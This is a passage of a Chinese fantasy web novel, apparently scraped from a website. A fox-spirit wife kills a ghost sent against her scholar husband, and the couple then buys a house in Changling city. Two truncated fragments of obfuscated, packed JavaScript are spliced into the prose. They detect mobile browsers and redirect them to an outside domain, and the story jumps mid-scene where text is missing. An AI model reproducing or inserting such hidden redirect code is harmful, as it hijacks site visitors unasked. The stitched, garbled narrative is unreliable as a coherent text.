方才做的那个梦,或许只是巧合,不过,已经让她万分开心了。 …… 一股阴冷的气息忽地涌出,房间内的温度骤然变低几分。 胡翘翘一愣,下意识地抬起头,朝阴冷气息的源头望去。 正好见到了直接穿过窗子,钻进来的女游魂。 这女游魂的外表实在太丑陋、太恐怖了——只剩半截的身子,黑乎乎的头发像一条条蛇一样爬在头顶,残缺的脸孔是惨白色,血迹斑斑,上面两个黑窟窿般的眼睛,毫无神采,呆滞又怪异。 胡翘翘吓了一大跳,差点叫出声来——这不能怪她,如此吓人的阴魂她还是第一次见到。 怎么好好地,突然冒出个阴魂来? 女游魂却连看也没看胡翘翘一眼,一双黑洞洞的眼睛只是盯着还睡在床上的陈子均,朝他漂浮而去。 眼见女游魂向陈子均飘近,胡翘翘反应过来,压低声音,警惕不安地开口,“你想干什么?我警告你,不许再靠近!” 女游魂置若罔闻,继续朝着陈子均飘去。 阴冷之极的气息也从她的身上弥漫而出,房间中的冷意也愈发浓厚起来。 胡翘翘直觉到来者不善,而且似乎是冲着自家相公来的,一下起身,护在陈子均的面前,一双大眼睛瞪着女阴魂。 “你再靠近,我、我可不客气了!” 但说这句话的时候,她手心冒汗,声音紧绷,底气明显不足。 毕竟这女阴魂的模样太吓人,而她对自己的实力也心知肚明,这段时间的灵液服用下来,虽说她的妖力日益增长,已经有了四十来年,但仍然只算是个小妖中的小妖,何况,这还是她第一次独自面对危机。 与此同时,胡翘翘的小脑袋瓜儿也开始飞速思考。 现在,摆在她面前的有几个选择。 第一个,立即去喊小青来帮忙。可她又怕这阴魂趁机伤害相公,哪怕相公只掉一根头发,她也是不情愿的。 第二,对这阴魂使用雷果。但她亲眼目睹过雷果的威力,若在这狭小的房间中使用,恐怕半座客栈都会被摧毁,而且,相公也可能会被劫雷波及而受伤,不到万不得已,不 能选择。 第三…… 但女阴魂没给胡翘翘时间思考完第三,见她拦在去路上,便发出一声尖利的怪叫,张牙舞爪地朝她扑了过来! 胡翘翘下意识地想要闪开,猛地想起相公就在身后,动作一顿,就被女阴魂掐住了脖子。 霎时间,一股冰寒之极的冷意,从她被掐住的肌肤传入,冷得让胡翘翘感觉像是被冰水浸泡全身,立即打起了冷颤。 好冷啊! 女阴魂大张开嘴,残破的嘴角一直咧开到了耳根,一股怪异又冰冷的吸力从她口中传出。 胡翘翘只觉得自己的脑袋开始晕沉。 难道说,这女阴魂在吸取她的阳气? 如果吸完了她的,是不是就会去吸相公的了?! 不,她绝不允许! 情急之下,胡翘翘将妖气凝聚在腿上,猛地向前一蹬! 一声厉叫,女阴魂被她直接蹬开! 与此同时,掐住胡翘翘脖子的双手也松开了。 胡翘翘缓了下气,突然意识到了什么,双眼眨了眨。 “咦?虽然长得吓人,但也不是很厉害嘛!” 对了,自己可是妖怪呀,虽说只有几十年的妖力,修为浅薄,但也不至于还比不过一个最弱的、连吸取凡人阳气都要花上半天时间的普通阴魂。 身后,陈子均似乎被方才的动静吵醒,睁开眼,看到房中情景之后,抽了口冷气。 “这是什么?” “相公醒了?”胡翘翘连忙宽慰:“只是个小阴魂而已,相公莫怕,翘翘会保护你的!” 女阴魂又发出一声怪叫,这次直接朝着她的目标——陈子均扑去。 “还敢来!”胡翘翘大怒,这次她将妖气凝聚在脑袋上,一头直接撞向女阴魂。 女阴魂被撞倒在地,身上的阴气也随之淡了一丝。 因为在房间里,胡翘翘学会的大部分攻击性的法术都不方便施展,比如火球术或是风刃,她深感麻烦,小声嘟哝了句,“算啦,还是狐狸模样方便……” 小狐妖身子一摇,变成一只漂亮之极的白狐,扑上去,对着还没完全爬起来的女阴魂就是狠狠一爪子。 女游魂被她拍得在地上打了个滚,披头散发,很狼狈。 见状,胡翘翘底气更足了几分,扑过去一阵乱抓,女阴魂发出凄厉的惨叫,阴气乱溅,胡翘翘怕吓到陈子均,连忙用一个爪子死死捂住她的嘴,扭头看向陈子均,很是关心地道,“有些吓人,相公快闭上眼,捂住耳朵,不要看也不要听。” “好。”陈子均很配合地照做。 胡翘翘抓了女阴魂一会儿,感觉太慢,便用两只前爪将女阴魂按在地上,张开嘴,对准女阴魂的脖子,咬了一大口,嚼吧嚼吧了几下,便吞下了肚。 阴气吞起来冰凉冰凉的,就像在吃没有味道的冰块,一点也不美味。 而且这女阴魂太丑,吃起来更是倒胃口。 但为了更快消灭这个女阴魂,免得让相公受惊,小狐狸也顾不上那么多了,连抓带啃,大口吞咽。 这时,陈子均开口提醒道:“娘子,我曾看书上说,阴魂皆有三道关,第一关在前胸胸口,第二关在额头,第三关则是在后心。打鬼需打三关,就如打蛇打七寸,效果最佳。” “嗯,我试试!”胡翘翘抬起爪子,雪亮的爪尖狠狠插入女阴魂的胸口,来了个白狐掏心。 果然,阴气消散的速度比她啃咬的还要快。 “真的可以!”胡翘翘很是开心,一爪一爪地抓下去。 女阴魂的身形越来越虚幻,叫得也一声比一声衰弱无力。 阴魂全靠体内的阴气支撑,只要阴气没耗完,就不会彻底死亡,小狐狸知道这点,所以不放开她,继续攻击。 …… …… “怎么回事?”阿元突然感觉胸口发闷,喘不过气,而且,他和女阴魂的联系在逐渐减弱。 他抬头看着客栈二楼,不知道房间中发生了什么,哆嗦着身子,心中惊惧慌乱,不知所措,只觉得身体突然开始发寒,气力在消失,双眼也阵阵发黑,很快,扑通一下倒在地上。 他清晰的感觉到,自己的生命正在慢慢流逝。 他张张嘴,想呼喊救命,却骇然发现,自己竟然已连发出声音的力气都没有了。 谁能告诉他,究竟发生了什么?! 此刻,那女阴魂也已经虚幻到只剩一个淡到几乎看不清的轮廓了。 “最后一下!”胡翘翘抬起爪子,对着女鬼的胸口狠狠拍下。 噗! 最后一点儿阴气被她彻底拍散,女阴魂消失。 阿元也蓦地吐出一口鲜血,呼吸断绝,两眼却仍旧不甘地睁大。 直到生命的最后一刻,他仍不明白,为何会变成这样! 陈子均则是微不可查地勾了下唇角,将神念自阿元的身上收回。 一个凡人也敢胡乱修炼这种驭鬼之术,将自己的命魂与阴魂绑定,却不知道绑定的阴魂一旦被消灭,自己的命魂也会随之受到重创。若是命魂强韧的修士,修养一段时间即可,但放在凡人身上,就足以致命了。 胡翘翘见女阴魂消失了,也没 立即放松警惕,弓着脊背,竖起耳朵,仔细观察倾听许久,才基本确定没了问题。 她呼出一口气,扭头看向陈子均,“相公,没事啦,你可以睁眼了。” 陈子均慢慢将眼皮掀开,目光似是惊疑不定地在房间中扫了一遍,“方才那女鬼呢?去哪儿了?” 胡翘翘得意的摇了摇尾巴,“她已经被我打死了,自然便见不到啦。” 陈子均惊讶赞叹,“娘子可真厉害!” “那是,”被心上人夸奖,胡翘翘感觉非常良好,蓬松松的大尾巴都快翘到了天上,她一下跳回床上,来到陈子均的身边,用小爪子上的肉垫儿轻轻拍着陈子均的后背,神情肃然。 “放心吧,翘翘说过保护相公的,就一定会做到。” “娘子对我可真好。” “你是我相公,我不对你好,对谁好呀?”胡翘翘变回人形,随即又不禁困惑,“就是有点奇怪,平时都好好的,今天晚上怎么会突然冒出个阴魂来呢?” “唔,或许和今天是七月初二有关吧。”陈子均回答。 胡翘翘不解地眨眨大眼,依偎进他怀中,“什么意思呀?” 陈子均摸摸她的头发,很有耐心地解释:“我曾在书上看到,每年七月初一到七月十五,便是传说中鬼门开启的时间……” “鬼门又是什么?” “是轮回界通往人间的门户。平时的鬼门,只允许阴魂进入,却不能离开。”陈子均说,“不过,每年的七月初一到七月十五是例外,这期间,鬼门会打开,若阴魂有未了的心愿,又非冤鬼厉鬼,便能通过鬼门重返人间,与凡人进行接触。所以这半个月内,天地阴气大盛,无论游魂、阴魂,都会比往常更活跃,出现更频繁,实力也会大大增强。这段时间中,有些厉害的阴魂,甚至可以抵抗太阳真火的烧灼,在白日现身。” 胡翘翘皱眉思索,“所以,刚才那个游魂大概是游荡到这里,想吸人的阳气,然后恰好选中了我们?” “娘子的猜想很有道理。” “应该只是凑巧?” “应该吧。” “那就好……”胡翘翘的声音小了一些,又打了个呵欠。 刚才和女阴魂打斗了半天,她累了。 “相公,天还没亮,我们再睡一会儿吧。”她搂住陈子均,懒洋洋说道。 “好。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14892973|159967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 刚躺下,陈子均忽然心中一动,神念再次探出。 与此同时,黑夜的天幕之上,忽然浮现出一道巨大的空间裂缝,无穷无尽的黑雾自裂缝内涌出,与此同时,一道黑影一跃而出,冲了出来。 下一刹那,裂缝便立即合拢。 这道黑影立在半空中,全身散发着阴森森的气息,周身漆黑的鬼气弥漫。 “借助鬼门之力,总算逃出来了,马上便要鸡啼,当务之急是先找一具身体,抵挡太阳真火。” 阴魂难以长时间接触阳光,虽说以他的实力,在白昼也能行动,但太阳真火的灼烧依然会带来极大的痛苦,还会影响实力,想要彻底隔绝太阳真火,必须借助肉身,尤其以人类的为佳。 可以附身,也可以借尸还魂。 它忽地发现了躺在地上的阿元,有些意外,“咦,这里竟然就有一具刚死不久的尸体,倒免得我再去费心寻找。” 黑影毫不犹豫,立刻钻入阿元体内。 阿元猛地睁开双眼,两道漆黑幽光在其眼内一闪而过。 站起身,轻喃了句,“还有十余天,秘境方才开启,这期间,我先得做些准备……” 随即,他身形一晃,已经远离客栈,仿若一滴墨水般,很快没入黑暗,与夜色融为了一体。 陈子均眯起眼。 这阴魂的实力不弱。在他看来,当然不算什么,可若是以修士的标准衡量,它的实力就相当于魂宫境的修士,还在流光境、金身境之上。 到了这个境界,修士可以在魂海内构建阵法,形成魂宫,进一步保护命魂和强大命魂,再具象一点描述,便是用一根手指,就足以秒杀之前那个未完成体的血尸。 这种实力的阴魂,放在整个轮回界,估计也能排得上名号,今夜却为了一个秘境而逃出轮回界…… 究竟是怎样的秘境,值得对方如此大费周章? 他多少有一点儿好奇。 可惜,此刻胡翘翘还醒着,他也只能任那阴魂借了阿元的尸体,再从容离开。 陈子均缓缓闭上了眸子。 算了,此事与他无关,只要对方不影响到他们夫妻,他就懒得理睬。 …… 天色微微明亮。 陈子均睁开眼,扭头看向还在恬睡的胡翘翘,忍不住露出一个微笑。 昨夜那女阴魂实力弱小,所以他才放心让她独力面对,还叮嘱了小青不要随便插手,好在自家娘子也很争气,只是一开始被吓到,后面下手一点也不手软,很轻松就将那阴魂收拾掉了。 他低下头,在那娇嫩的红唇上亲了一口,“娘子,该起床了。” 半个时辰之后,三人下了楼。 客栈的一楼也提供早餐,多半是粥、烙饼和汤圆、包子之类。 胡翘翘要了一碗汤圆 ,里面还有醪糟与蛋花,这一碗汤圆有十来个,个个又白又大,她尝了一个,味道还不错,十分香甜纯正的芝麻馅儿,于是又要了个小碗和勺子,将汤圆分了几个到小碗,让陈子均也尝一尝——她知道相公不爱吃甜,每次都只略尝几个就好,不需要额外多叫一碗。 陈子均自己则是一份羊肉汤搭配烙饼,小青是小米粥和两个包子。 吃饭途中,客栈的胖掌柜也下了楼,冲一名伙计呼呼喝喝地问道,“阿元那小子滚蛋了没有?” 那伙计愣了愣,回答,“大早上就没见着他的人,想必是已经走了。” “哼,走得好,省的成天在这里好吃懒做,惹人生厌。”掌柜面露满意之色,没将此事放在心上。 吃过早饭,陈子均让一名伙计将牛车赶到了客栈外面。 等胡翘翘进了车厢,他走到老牛的身边,如前几日一样,喂了它少许稀释后的灵液。 几天下来,老牛已经比出发前健壮了不少,原本瘦骨嶙峋,任谁看都是头老牛,而现在,虽仍比青年牛看着要瘦不少,却精神抖擞,浑身牛皮微微发亮,而且随着四条腿的迈动,皮下肌肉隐现浮动,毫无半点年老力衰的模样。 等陈子均也坐进车厢,小青跃上车辕,无需鞭打或是号令,老牛便自发地迈起了脚步。 老牛走得虽平稳和缓,却不断超越了一辆又一辆的壮年牛所拉的牛车。 一路继续前行。 后面的路,风平浪静。 老牛的脚程惊人,一天能走出一百来里。 离目的地省城越来越近,官道也越来越热闹,商队、行人络绎不绝,路两边全是小贩在摆摊儿,有时胡翘翘看到新鲜玩意,便忍不住让牛车停下,买完再重新出发。 两日后的下午,胡翘翘正坐在车厢里,同陈子均一起给莲蓬剥莲子儿。 这时节正是莲蓬成熟之时,有小贩摘了不少莲蓬,推车在路边贩卖,支支青嫩诱人,像是把把青翠的小伞,伞面上还浸润着点点水珠。 陈子均停车问价。 一个一文,倒也不贵,他便买了几十个。 之前住在白崖村时,夏天里他和胡翘翘也常吃莲蓬,知道它们摘下后要尽快抠出莲子,否则等到几个时辰以后,莲子那清甜柔润的口感就会大减。 好在胡翘翘有储物袋,一时半会剥不完可以收进储物袋中,等以后两人有暇时再拿出来吃。 陈子均抠出几个莲子,发现这几个莲子饱满又新鲜,就剥掉外面的绿皮,露出里面白嫩的莲子,看着胡翘翘,“娘子张口。” 胡翘翘乖乖地张开小嘴,任他投喂。 嗯,相公喂的莲子,尤其清甜呢。 嘴里甜甜的,心中也是甜甜的。 咽下莲子,她随意地抬眸往窗户外望了眼,一座庄严古朴,高大入云、还带着某种神圣气息的白塔,进入了她的视野。 “哇,好漂亮的塔……”胡翘翘忍不住张开小嘴,发出一声感叹。 小青的声音飘了过来,“翘翘姐,它就是镇魔塔。” “啊!”胡翘翘连忙将视线收了回来,放下窗帘,生怕突然从塔中冒出几个仙师,将她抓走,关进塔中。 好在她的幻想没有变成现实,牛车继续前行,没多久,远处,一座巍峨大城的轮廓浮现而出。 再近一些,便能看清那高高耸立的外墙,一律用打磨得方正平齐的大块青岩建造,城门足有数十米高,在城门之上,“长陵城”三个大字,铁划银钩,意气飞扬,似乎要脱墙飞出。 目的地,终于抵达。 第103章 再经罗府 等待进城的队伍行人已经排成了浩浩荡荡的长龙,小青驾着牛车来到队伍的最末端,此刻距离城门还有一两百丈远。而从旁边行人的议论中,几人得知,这样的城门在长陵城中还有四处。 过了约莫两刻钟,牛车才通过了城门外的检查,得以继续前行。 刚通过宽阔厚实的城门,没走多远,胡翘翘便立即又被震撼到了。 面前的是一条光宽度都有将近百步的大道,青石路面坚固无比,即使每日遭受无数车轮碾压,依旧平整如初,甚至连吱嘎声都不会发出多少。 道路两边都是两三层楼的高大商铺,外观精致华丽,此时天已是傍晚,路上仍行人如织,满街灯火照得四周如同白昼,人声如沸水,无处不在。 在之前,胡翘翘早已习惯了白崖村的生活。在白崖村中,往往天还没全暗,村民们便结束了一天的劳作,吃过晚饭,回到自家休息,除了家中有灯火之外,外面全是一片幽静,唯一能听到的就是虫鸣鸟啼,夜风中偶尔送来的一两声狗吠。 与眼前的景象,堪称天差地别。 这几天途经了几个县城,她本以为县城已经足够热闹,那些宽宽的路,热闹的商铺,胜过白崖村百倍。 没想到,长陵城还要再热闹十倍! 街道上,一辆辆来自远方的商队大车鱼贯而行,到处是带着笑容的行人,穿着整洁考究。有同相公一样打扮的儒雅书生,有腰间佩剑的潇洒剑客,有满脸堆笑迎天下客的商旅,有三三两两结伴而行的友人…… 还有街上的那些女子们,身上的衣裙也一个赛一个的款式漂亮、面料精致,一举一动,裙袂飘逸,宛如仙子下凡,行走时,阵阵香风拂过人面,有兰花味儿的,有玫瑰味儿的,还有她最爱的栀子花味儿的……就连她们腰间的荷包,也有许多款式,莲花款、蝴蝶款、同心款……有的吊着玉坠儿,有的是金丝银缕,有的镶嵌明珠…… …… 小狐狸看得目不暇接,心晃神摇,兴奋地扯着陈子均的袖子:“相公,真的和你说的一般,省城又大又漂亮,感觉用一个月都逛不完呢!” 陈子均笑道,“娘子放心,我们至少要在省城住上三个月,总够你逛了。” 如今是七月初,乡试要在八月末,考完之后,等到出榜还要将近一个月的时间,所以至少三个月。 “那,相公要陪着我逛。” “这是自然。” 胡翘翘满心欢喜,开心地看着四周,忍不住已经开始思考,第一次要和相公一同去逛哪些地方,下一次又要逛哪些地方…… 城门处的人流最为拥挤,牛车走得比在官道上迟缓得多,几乎可以用“慢吞吞”这个词来形容。 好不容易快要脱离城门的范围时,一个不知从哪儿窜出的男人拦在了牛车之前,笑呵呵地问小青,“几位应是从外地来长陵城的吧?对长陵城可有了解?打算停留多久?是寻亲访友、还是今年乡试的考生、又抑或是来报名仙宗招生、找工作、求学拜师的?当下有无落脚之处?在下世代家住长陵城,对这里每一处都了如指掌,几位可有用得上在下的地方?” 小青的经验丰富,一听便知道这人就是稍大的城中常见的牙子。 所谓牙子,就是负责各种事务的中间经纪人,又叫掮客。 外地人来到省城,往往人生地不熟。若想在这里买房租房、找人办事……就得通过牙子。只要出足够钱,无论什么事儿,牙子们都能在最短的时间中,找到最合适的门道,替你办得熨熨帖帖、妥妥当当。 陈子均也听到了,吩咐小青将牛车停下,推开车窗,将牙子叫到近前。 “我们会在长陵城住三个月以上,当下暂无落脚之处,我打算买一套宅子,不需房间很多,但要宽敞明亮,环境幽静,还得有个大点的院子,只要条件符合,租或买都可以。” 牙子不由自主的先被眼前书生的俊逸惊讶了片刻,才听到他的话,目光一亮,“我知道几套可能满足要求的宅子,几位是现在同我去看看,还是等方便的时候再去?” “走了一路,有些疲累,时间也不早了,今天先寻个客栈歇息,”陈子均道,“明天再去看房。” “如此安排也好,不过近些日子从外面来的客人很多,这旁边好些的客栈都很难找到空房了,倒是我知道一家客栈,虽然离城门远些儿,但房间不错,价格也合适……要不要我领您去?”牙子殷勤地点头哈腰。 “如此便麻烦了。” 牙子在前面带路,拐了两三个路口后,来到了一家客栈。 “到了。” 陈子均看了眼,点点头道:“就这家吧。” 他示意小青递给对方一钱银子。 牙子眉开眼笑地接过去,“不知郎君贵姓,明日几时有空?到时我来这里找您。” “我姓陈,辰时之后吧。” “好的好的。” 在客栈的房间安置下来后,天色已经全黑。 虽然对省城满心新鲜,但来日方长,再加上觉得相公这一路奔波十分辛苦,一定累坏了,吃了晚饭,善解人意的小狐狸就乖巧又自觉地同相公回了房间,一个歇息,一个修炼。 ”陈子均扔过去一两银子,悠悠道,“若有好的房子尽管推荐,成交后另有酬谢。” 见他出手大方,牙子心中那一点儿怨言也尽数烟消云散,思索片刻,拍手笑道:“我又想起来了一套,地道的好房子,完全满足郎君的要求,只不过卖家只卖不租……要不,我先带两位去看一看?” 驴车继续往南,片刻后,来到一条街道上,这街道宽窄可以过马车,附近环境十分雅致,奇怪的是,街道两旁的几家宅院,都静悄悄的没有传出一丝声音。 来到街巷中段,一处府邸大门出现在陈子均的眼前,宽宽的大门此刻紧阖着,铜环寂静无声。 门上挂着一个黑底金字的“罗府”牌匾,此刻已颓然垂落,两道封条贴在门上,风吹日晒下,有些褪色。门口坐立着的两个石狮应是一对儿,但此刻只剩下了一个,另一个不知道去了何处,剩下的这一个已布满灰尘,狮子口中的牙齿上还挂着蛛网,几只小蜘蛛在爬来爬去。 陈子均扫了一眼,没有任何异样的情绪,目光更没有半点停留。 过了这处占地不小却已然败落不堪的大宅,牙子带着两人来到了斜对面的一套精致小宅院,推门进入。 虽说是小宅院,但也只是相对方才那个“罗府”而言,进门便是一个繁花锦簇、布置得饶有韵致的园子,居中一栋两层高的主楼,楼下的堂屋可会客,楼上是卧室,还带有书房、茶室等等,站在二楼的卧房,推开窗户就可以欣赏到园景,主楼两边又各有一套厢房,厢房边是仆佣房和杂物间,甚至连牛棚、停放牛车的地方都具备,十分齐全。 房屋内的装潢也十分用心,每样都是精挑细选,更重要的是,崭新到几乎连住过人的痕迹都没有。 “这附近住的人,大多非富即贵,离仙师聚居之地的最外缘,也才隔了数百米的距离。”牙子带着陈子均和胡翘翘一边游逛一边说:“若这一套郎君还看不上,我可以拍胸脯保证,就算走遍整个长陵城,郎君也找不到更合适的了。” 胡翘翘跟在陈子均身边,左顾右盼,好奇开口:“这房子看着好新呀,难道没住过人吗?” 牙子只作没听见,转头对陈子均问道:“郎君觉得这套如何?” “还不错。”陈子均第一次给出肯定。 牙子的脸上露出喜色,“价格方面……” 陈子均笑了笑,“不急,麻烦先回答一下内子方才的问题。” 牙子:“……” 若是说了,估计这笔生意又要泡汤。 “做牙人的,应以诚信为先。房屋情况无论好坏,都应如实告知客户,不夸大优点,亦不粉饰缺点,生意方才做得长久,”陈子均说,“如果你总是不尽不实,想着欺瞒我们,我就只能另寻他人了。” 牙子迟疑,转念又想,只要是长陵城人,都清楚这套房子怎么回事,对方出去稍一打听,也能明白,便叹了口气道,“小娘子猜对了,确实没住过人。” “为什么没住过人就卖呢?”胡翘翘又问。 牙子抬手指着对街那户大宅。 “因为它。” 牙子告诉两人,那套房子原本属于长陵城的罗通判,两个多月前,罗通判的一名心腹突然发狂,捅死了罗通判,罗府也随之起火…… “……唉,真是惨啊,偌大的房子被一把火烧了个精光,罗通判的独生子也被火烧死,只有罗夫人和两个小妾活了下来。府衙派人前来调查,最后断定是那心腹突发癔症,杀死了罗通判。至于失火,则是意外。罗夫人却坚持认为那心腹发狂得蹊跷,只是那心腹的尸体都烧成了焦炭,什么线索也找不到,于是,她又费了大价钱,请动了一名仙师来调查……” 哇,好有悬念的故事。 胡翘翘连忙竖起耳朵,“结果呢?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14892974|159967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仙师到罗府的废墟走了一遍,也没发现任何妖鬼作祟的痕迹,罗夫人才不得不死心。” 胡翘翘又问,“和这套房子又有什么关系?” “马上就说到了,”牙子继续道,“这套房子在一间珠宝铺子老板的名下。半年多前,他同春月楼的一名姑娘相好,替其赎了身,纳为妾室。但他有个悍妻,又畏妻如虎,所以不敢将小妾带回家,便瞒着妻子从别人手中盘下了这套房,又精心改造,准备等修好后让小妾搬进这里,方便他金屋藏娇。” “没料到房子刚改修好,小妾还没来得及搬进来,罗府便着了火。” “府衙来人调查罗府失火之事,罗府近旁的几家住户自然也会被反复调查询问。这一来二去,不知怎么的,就让人知道了这套房子是珠宝铺老板为他的小妾所购置,又传到了他妻子的耳中。他夫人大发雷霆,将那妾室再次发卖回了春月楼,还逼着丈夫将这套房子立即出手,否则这样好的宅子,怎么会还没住人就卖掉呢?” 小妾是什么?赎身又是什么?春月楼是什么? 这几个词语有些陌生,胡翘翘默默记下,准备一会儿问相公。 “但罗通判的事,闹得有些大,长陵城内人尽皆知。所以,虽然这套房子有不少人来看过,而且都觉得不错,却因为对面出了三条人命,顾忌距离这么近,会不会有什么问题,才一直没能出掉 。” 牙子说完,摇头苦笑,“好了,房子的情况,我已经尽数告知给了两位,容我再想想,还有没有合适的……” “这套房子,连带其中的所有东西,卖价一共多少?” 他正想着,一个声音传入耳内。 牙子愣了一下,抬头望着陈子均。 “价格若合适,我就买了。” 牙子眼中露出惊喜,连忙道,“老实和您说,长陵城其它条件差不多的房子至少五百两,这套只需四百两,若您真有意向,我去和卖家杀杀价,多的不敢说,再少个五十两应该问题不大。” 两个多月前,对方的报价本是五百两,结果两个月都卖不掉,便降到了四百两。 在他看来,对方急于脱手,别说少个五十两,少个一百两没准都能成交。 陈子均本懒得讨价还价,但看了身边的胡翘翘一眼,又改了主意,显出少许犹豫之色。 片刻后,才皱着眉头,说道,“三百两银子,你若能帮我谈成,我给你再加五两佣金。” “郎君确定?” “嗯。” 牙子立刻精神抖擞,“好,我去同卖家商量!” 他将陈子均和胡翘翘送回客栈,便赶去找那珠宝商人。 等牙子的背影远去,胡翘翘仰着小脸看着陈子均,满是赞赏微笑,甜甜地道,“还是相公聪明,没有贸然答应,若是能用三百两买下,我们就又能多省进五十两啦。” 五十两啊,就算在省城,应该也不算一笔小钱了吧! 虽说那套房子里的用品已经颇为齐全,但两人搬进去之后,多少还是要添置些东西。 嗯,省下的五十两,正好拿来派这个用场…… 陈子均一脸认真:“因为娘子说得有道理,钱要能省则省。” 胡翘翘的心中更甜了几分。 去吃午饭的路上,她又想起一事。 “对了相公,什么叫春月楼?” “咳……我也不知,听起来,应该是某个风雅的场所吧。” “赎身呢,什么意思?” “赎身啊……赎身……就是用钱雇佣一名女子,为自己做事。” “哦,小妾呢?” “小妾……”陈子均绞尽脑汁,“有些儿类似贴身侍女,比方男主人渴了,她便给他喝水,男主人累了,她便替他按摩……” “所以,他是在一个名叫春月楼的风雅场所,雇佣了一个女人,让她替自己倒水和按摩?”胡翘翘似懂非懂地总结。 “大致如此。” “可他不是有妻子吗?倒水还好,像按摩这么亲密的事,让自己的妻子来做不是更好吗,为什么要让别的女人来做?” “……我也不明白。” 胡翘翘抿了下唇,轻晃着陈子均的衣袖,楚楚可怜地道,“相公,以后你可不能给人赎身,让她做你的小妾呀。” 若真那样,她会很不开心,很不开心,说不定会半夜哭湿枕头呢。 陈子均勾起嘴角:“好,我答应娘子。” 第104章 赤色雷劫 下午,牙子再次来到客栈,与他同行的还有那珠宝商人和他的悍妻。 上午听牙子的话,陈子均本以为那悍妻是个膀大腰圆的母老虎,没想到竟然是个徐娘半老、身段丰韵的妇人。后者在见到他时,目光微亮,趁身边的丈夫不留意,还抛了两个若有若无的媚眼过来。 陈子均面无表情,只当没看见。妇人神情有些幽怨。 三百两,成交了! 双方雷厉风行,立马到去办理了过户手续,一手交银,一手交房契。 天还没全黑,那套小宅院就已正式易主。 当天晚上,草草用过晚饭,陈子均便带着胡翘翘和小青搬了进去,老牛和牛车也被安置妥当。 这所宅院一直没住过人,虽说家什一应俱全,且是全新,但许多地方已布上了一层薄灰。 好在有胡翘翘和小青在,几个洁净术下来,焕然一新。 时间已晚,剩下的整理工作留待次日。 住进漂亮的新宅子,胡翘翘的心情明显也非常好,泡了澡后,在柔软舒适的大床上来回打滚儿,似乎要将自己的香味儿染到床铺的每一个角落。 随后,她又用小手拍了拍床,娇声呼唤,“相公,这床好舒服,你也快来睡觉吧。” 陈子均吹灭蜡烛,上床搂着她。 她的身子软绵绵的,简直像是能在他的怀中融化。 “娘子喜欢这房子么?” “嗯!!”简直喜欢得不行了! 只是想起那价格,胡翘翘又有些心痛,“就是太贵了些,现在想想,我们好像也没有必要买这么好的房子……之前那三套都可以用租的,一个月才七八两银子呢,” 陈子均说:“……娘子,我付得起,而且你忘记我说了,等考中之后再出手,不会亏多少。” 胡翘翘又认认真真地计算了一番,困惑皱眉,“可是相公,你在白崖村教书时,不是一个学生一年才收一两半银子的束脩么?怎么会有这么多钱的啊?” 一共才十来个学生,三年时间,哪怕两人分文不花,顶多也就能积攒下七八十两银子吧。 何况相公偶尔还会带她去赶集,买些东西…… 这钱,她怎么算都不对劲。 陈子均轻咳了一声:“娘子记性不好,所以忘记了,当初我爹娘去世的时候,曾经给我留下了一笔钱,数目不小。” “原来是这样……”胡翘翘点点头,这才释去了些疑惑。 紧接着,她又说,“相公,以后你手里的钱,还是不要乱花了,如今我们只有出的,没有进的,这好像叫什么……坐吃山空吧……”说到这里,小狐狸忧虑起来,一本正经的考虑着:“我觉得我应该想个办法挣钱,你说,我要怎么样才能挣钱呢……” 陈子均无奈:“别胡思乱想了,目前来说,相公还养得起你。” 小狐狸用力摇着脑袋,脱口而出地说:“不行,相公是人,我是妖怪,还是我比较厉害一点,我来养相公……” 陈子均忍着笑,揉了下她的小脸,“娘子对我真好,不过我的钱呢,还足够支撑一段时间,万一真的不够用了,我们再想挣钱的办法,行不行?” “……那好吧。” “好了,不说这个了,等明天收拾差不多了,晚上我就陪你出去逛街,怎么样?” “唔……” 胡翘翘却没答应,而是将脸贴着陈子均的脸,乖巧地道,“我想过了,这段时间,相公还是专心准备考试吧,等考完了,我们再去逛也是一样的。” “娘子放心,我的心里自然有数。”陈子均亲了她一口,手也开始动了起来。 “那……那等明天再说。”她红着脸,声音轻颤。 “好。” 翌日清晨,陈子均和胡翘翘起了床。 这长陵城中,听不到鸡啼,而两人在白崖村养的那只公鸡,早在出发前进了胡翘翘的肚子。 但并不耽搁起床,因为天刚蒙蒙亮,窗外的枝头上便传来了脆生生的鸟啼。 简单洗漱,来到厨房。 厨房里没有干柴,水缸也是空的。 昨日那牙子交代过,若是两人需要干柴、清水这类生活消耗品,可以去长陵城的西市,找人按月订购,他们便会每天送上门,十分方便,包括喂牛的草料豆子,他们也同样能提供。 清水自是用不着,如今胡翘翘一个生水术,足以灌满好几个水缸。但干柴还是需要的。 外面传来叫卖羊肉面片儿汤的声音,陈子均让小青拎上食盒,出门去买了三碗羊肉面片汤。 面片汤味道不错,羊肉很大片,还洒了胡椒和葱花,吃起来香喷喷的。 “对了相公,我看这园子里没有菜地呀,”胡翘翘夹起一片羊肉,咬了一口,好奇问道,“省城的人家不用种菜和种地的吗?” 陈子均微微一笑,“乡下种菜和种地,住城里的人是不种的。” 小青说:“钱塘县也是,大多数人都不用种地种菜。” 胡翘翘不解,“那他们平时吃的菜从哪儿来?” “在钱塘县有菜市,可以买菜,也能买肉,包括油盐米醋,都能在菜市买到,我想长陵城中应该也有差不多的 地方。”小青说,“不过,钱塘县的大多数人都在外面吃,或是让店铺将饭菜送到家中,很少自己买菜做饭。” “为什么?” 